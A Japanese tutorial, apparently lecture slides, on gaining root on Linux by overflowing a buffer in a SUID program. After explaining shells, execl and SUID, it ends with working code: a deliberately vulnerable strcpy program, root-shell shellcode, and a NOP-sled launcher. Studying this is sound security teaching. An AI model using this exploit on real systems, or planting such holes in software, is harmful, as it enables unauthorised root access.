一般的にLinuxには2つの権限がある
ハッキングの目的は神様の権限であるroot権限をいただくこと
一般ユーザは権限がないので他のユーザを勝手に消すことはできない
bash-2.05$ deluser tester
deluser: tester: User could not be removed from /etc/passwd
一方、root権限であればユーザを消すのも自由。まさに神様。
シェルはユーザとコンピュータの橋渡しをしてくれるソフトウェア
シェルとはユーザがパソコンを操作するハンドルのようなもの
Windowsの場合はマウスを使ったりとグラフィックなシェルを用いているが、Linuxでは文字だけで操作するシェルが主流
図1:Windowsにおけるグラフィカルシェル
図2:Linuxにおけるコマンドラインシェル
シェルを起動できれば命令をコンピュータに伝えることができる
シェルを起動してみよう
シェルはプログラムとして実装されているので、シェルの中からシェルを起動することができる
シェルは/bin/に何種類か格納されている。それぞれのシェルには一長一短があるが、最も単純なshを起動する。
defolos@glazheim:~$ /bin/sh
sh-2.05b$
シェルの持つ権限は、シェルを起動したアカウントの権限に依存する。上記だと一般ユーザがシェルを起動したので、起動したシェルも一般権限しか持ってない
root@glazheim:~# /bin/sh
sh-2.05b#
rootがシェルを起動すると、起動したシェルもroot権限で起動する。
シェルもプログラムなので、プログラム内から呼び出すことができる
Cではプログラムを呼び出す関数はexecl
#include <unistd.h> int execl(const char *path, const char *arg, ...);
プログラムの起動時に一時的にroot権限を得られる設定
パスワードファイルは一般ユーザに書き換えられたら困る
しかし、変更するつどrootに変更を頼むのは大変
passwdというプログラムは起動されると一時的にroot権限を与えられるのでパスワードファイルを書き換えられる
これを実現するのがSUIDという仕組み
実行ファイルごとに設定することができる
SUIDを確認してみよう
lsコマンドの詳細表示オプションで確認できる
SUIDは危ないことが認識されているので最近はほとんど使われなくなった
ハッキングではこのようなプログラムの流れを、さまざまな手法で変更し、シェルを起動することで権限を奪う
例題1.2で作成したプログラムにSUIDビットを設定、所有者をrootにする。その状態で一般ユーザ権限からシェルを起動させてみよう
SUIDを設定するには次のようにする
glazheim:/home/defolos# chown root shtest.exe glazheim:/home/defolos# chmod +s shtest.exe
2つの部分に分けられる
軍隊用語からの転用
ベクターはコンピュータのセキュリティを打ち破り、ペイロードを実行する。ペイロードには侵入するシステム内で行いたい処理を格納する。これを行うことをexploitingと言う。
ペイロードの作成はアセンブリで行うのが一般的
挿入ベクターはC言語でも記述可能
#include <stdio.h> #include <string.h> unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ char buffer[500]; long esp; esp = sp(); strcpy (buffer, argv[1]); return 0; }
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"
#include <stdlib.h> char shellcode[]= "ペイロード"; unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; buffer = malloc(600); ptr = buffer; addr_ptr = (long *)ptr; for (i=0; i<600; i += 4) *(addr_ptr++) = ret; for (i=0; i<200; i++) buffer[i] = '\x90'; ptr = buffer + 200; for (i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i]; buffer[600 - 1] = 0; execl("./bo-test.exe", "bo-test.exe", buffer, 0); free(buffer); return 0; }